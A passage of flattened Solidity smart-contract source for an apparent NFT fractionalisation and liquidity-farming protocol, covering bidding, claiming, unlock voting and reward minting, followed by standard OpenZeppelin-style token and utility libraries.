address feeTo = factory.feeTo();
uint256 feeAmount = 0;
if (feeTo != address(0)) {
feeAmount = cap.div(200);
_mint(feeTo, feeAmount);
}
_mint(issuer, cap - feeAmount);
emit Issued();
}
function refund(address _to) external {
require(!active, "Converter: Contract is already active - cannot refund");
require(msg.sender == issuer, "Converter: Only issuer can refund");
uint8 _i = 0;
uint256 _index = currentNFTIndex;
bytes memory data;
while (_index > 0 && _i < 50){
NFT memory nft = nfts[_index - 1];
if (ERC165Checker.supportsInterface(nft.contractAddr, 0xd9b67a26)){
IERC1155(nft.contractAddr).safeTransferFrom(address(this), _to, nft.tokenId, nft.amount, data);
}
else if (ERC165Checker.supportsInterface(nft.contractAddr, 0x80ac58cd)){
IERC721(nft.contractAddr).safeTransferFrom(address(this), _to, nft.tokenId);
}
delete nfts[_index - 1];
_index--;
_i++;
}
currentNFTIndex = _index;
emit Refunded();
}
function bid(uint256 nftIndex) external payable {
require(unlockVotes < _threshold, "Converter: Release threshold has been met, no more bids allowed");
Bid memory topBid = bids[nftIndex];
require(topBid.bidder != msg.sender, "Converter: You have an active bid");
require(topBid.amount < msg.value, "Converter: Bid too low");
require(bidRefunds[nftIndex][msg.sender] == 0, "Converter: Collect bid refund");
bids[nftIndex] = Bid(msg.sender, msg.value, getBlockTimestamp());
bidRefunds[nftIndex][topBid.bidder] = topBid.amount;
totalBidAmount += msg.value - topBid.amount;
emit BidCreated(msg.sender, nftIndex, msg.value);
}
function unbid(uint256 nftIndex) external {
Bid memory topBid = bids[nftIndex];
bool isTopBidder = topBid.bidder == msg.sender;
if (unlockVotes >= _threshold) {
require(!isTopBidder, "Converter: Release threshold has been met, winner can't unbid");
}
if (isTopBidder) {
require(topBid.time + TOP_BID_LOCK_TIME < getBlockTimestamp(), "Converter: Top bid locked");
totalBidAmount -= topBid.amount;
bids[nftIndex] = Bid(address(0), 0, getBlockTimestamp());
(bool sent, bytes memory data) = msg.sender.call{value: topBid.amount}("");
require(sent, "Converter: Failed to send Ether");
emit BidRemoved(msg.sender, nftIndex);
}
else {
uint256 refundAmount = bidRefunds[nftIndex][msg.sender];
require(refundAmount > 0, "Converter: no bid found");
bidRefunds[nftIndex][msg.sender] = 0;
(bool sent, bytes memory data) = msg.sender.call{value: refundAmount}("");
require(sent, "Converter: Failed to send Ether");
}
}
function claim(uint256 nftIndex) external {
require(unlockVotes >= _threshold, "Converter: Threshold not met");
require(!nfts[nftIndex].claimed, "Converter: Already claimed");
Bid memory topBid = bids[nftIndex];
require(msg.sender == topBid.bidder, "Converter: Only winner can claim");
nfts[nftIndex].claimed = true;
NFT memory winningNFT = nfts[nftIndex];
if (ERC165Checker.supportsInterface(winningNFT.contractAddr, 0xd9b67a26)){
bytes memory data;
IERC1155(winningNFT.contractAddr).safeTransferFrom(address(this), topBid.bidder, winningNFT.tokenId, winningNFT.amount, data);
}
else if (ERC165Checker.supportsInterface(winningNFT.contractAddr, 0x80ac58cd)){
IERC721(winningNFT.contractAddr).safeTransferFrom(address(this), topBid.bidder, winningNFT.tokenId);
}
emit ClaimedNFT(topBid.bidder, nftIndex, winningNFT.tokenId);
}
function approveUnlock(uint256 amount) external {
require(unlockVotes < _threshold, "Converter: Threshold reached");
_transfer(msg.sender, address(this), amount);
unlockApproved[msg.sender] += amount;
unlockVotes += amount;
}
function unapproveUnlock(uint256 amount) external {
require(unlockVotes < _threshold, "Converter: Threshold reached");
require(unlockApproved[msg.sender] >= amount, "Converter: Not enough uTokens locked by user");
unlockVotes -= amount;
unlockApproved[msg.sender] -= amount;
_transfer(address(this), msg.sender, amount);
}
function redeemETH(uint256 amount) external {
require(unlockVotes >= _threshold, "Converter: Threshold not met");
if (amount > 0) {
_transfer(msg.sender, address(this), amount);
}
uint256 finalBalance = amount + unlockApproved[msg.sender];
unlockApproved[msg.sender] = 0;
(bool sent, bytes memory data) = msg.sender.call{value: totalBidAmount.mul(finalBalance).div(this.totalSupply())}("");
require(sent, "Converter: Failed to send Ether");
}
function getBlockTimestamp() internal view returns (uint) {
return block.timestamp;
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) override external returns(bytes4) {
if(keccak256(_data) == keccak256(VALIDATOR)){
return 0xf23a6e61;
}
}
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override external returns(bytes4) {
if(keccak256(_data) == keccak256(VALIDATOR)){
return 0xbc197c81;
}
}
}
pragma solidity 0.6.12;
contract UnicFarm is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
IERC20 lpToken;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accUnicPerShare;
address uToken;
}
Unic public unic;
address public devaddr;
uint256 public mintRateMultiplier;
uint256 public mintRateDivider;
uint256 public blocksPerTranche;
uint256 public tranche = 0;
mapping(address => bool) public whitelist;
uint256 public unicPerBlock;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event Add(uint256 allocPoint, address lpToken, bool withUpdate);
event Set(uint256 pid, uint256 allocPoint, bool withUpdate);
event MassUpdatePools();
event UpdatePool(uint256 pid);
event Dev(address devaddr);
constructor(
Unic _unic,
address _devaddr,
uint256 _mintRateMultiplier,
uint256 _mintRateDivider,
uint256 _unicPerBlock,
uint256 _startBlock,
uint256 _blocksPerTranche
) public {
unic = _unic;
devaddr = _devaddr;
mintRateMultiplier = _mintRateMultiplier;
mintRateDivider = _mintRateDivider;
unicPerBlock = _unicPerBlock;
startBlock = _startBlock;
blocksPerTranche = _blocksPerTranche;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, address _uToken) public onlyOwner {
require(!whitelist[address(_lpToken)]);
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accUnicPerShare: 0,
uToken: _uToken
}));
whitelist[address(_lpToken)] = true;
emit Add(_allocPoint, address(_lpToken), _withUpdate);
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
emit Set(_pid, _allocPoint, _withUpdate);
}
function getRewards(uint256 _from, uint256 _to) public view returns (uint256) {
uint256 lastTrancheBlock = startBlock.add(tranche.mul(blocksPerTranche));
if (_to.sub(_from) > blocksPerTranche) {
_from = _to.sub(blocksPerTranche);
}
if (_from > lastTrancheBlock) {
return _to.sub(_from).mul(unicPerBlock);
} else {
return lastTrancheBlock.sub(_from).mul(unicPerBlock).mul(mintRateDivider).div(mintRateMultiplier).add(
_to.sub(lastTrancheBlock).mul(unicPerBlock)
);
}
}
function pendingUnic(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accUnicPerShare = pool.accUnicPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 unicReward = getRewards(pool.lastRewardBlock, block.number).mul(pool.allocPoint).div(totalAllocPoint);
accUnicPerShare = accUnicPerShare.add(unicReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accUnicPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
emit MassUpdatePools();
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (pool.uToken != address(0) && pool.allocPoint > 0) {
if (Converter(pool.uToken).unlockVotes() >= Converter(pool.uToken)._threshold()) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint);
pool.allocPoint = 0;
emit Set(_pid, 0, false);
}
}
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
if (block.number >= startBlock.add(tranche.mul(blocksPerTranche)).add(blocksPerTranche)) {
tranche++;
unicPerBlock = unicPerBlock.mul(mintRateMultiplier).div(mintRateDivider);
}
uint256 unicReward = getRewards(pool.lastRewardBlock, block.number).mul(pool.allocPoint).div(totalAllocPoint);
unic.mint(devaddr, unicReward.div(9));
unic.mint(address(this), unicReward);
pool.accUnicPerShare = pool.accUnicPerShare.add(unicReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
emit UpdatePool(_pid);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accUnicPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeUnicTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accUnicPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accUnicPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeUnicTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accUnicPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), amount);
emit EmergencyWithdraw(msg.sender, _pid, amount);
}
function safeUnicTransfer(address _to, uint256 _amount) internal {
uint256 unicBal = unic.balanceOf(address(this));
if (_amount > unicBal) {
unic.transfer(_to, unicBal);
} else {
unic.transfer(_to, _amount);
}
}
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
emit Dev(_devaddr);
}
function setMintRules(uint256 _mintRateMultiplier, uint256 _mintRateDivider, uint256 _unicPerBlock, uint256 _blocksPerTranche) public onlyOwner {
require(_mintRateDivider > 0, "no dividing by zero");
require(_blocksPerTranche > 0, "zero blocks per tranche not allowed");
mintRateMultiplier = _mintRateMultiplier;
mintRateDivider = _mintRateDivider;
unicPerBlock = _unicPerBlock;
blocksPerTranche = _blocksPerTranche;
}
function setStartBlock(uint256 _startBlock) public onlyOwner {
require(block.number < startBlock, "start block can not be modified after it has passed");
require(block.number < _startBlock, "new start block needs to be in the future");
startBlock = _startBlock;
}
}
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.12;
interface IMintableCollection is IERC721 {
function burn(uint256 tokenId) external;
function mint(address to, uint256 tokenId) external;
}
pragma solidity 0.6.12;
interface IRewardable {
function addRewards(address rewardToken, uint256 amount) external;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.6.12;
abstract contract EmergencyWithdrawable is OwnableUpgradeable {
function emergencyWithdrawETH() external payable onlyOwner {
msg.sender.send(address(this).balance);
}
function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
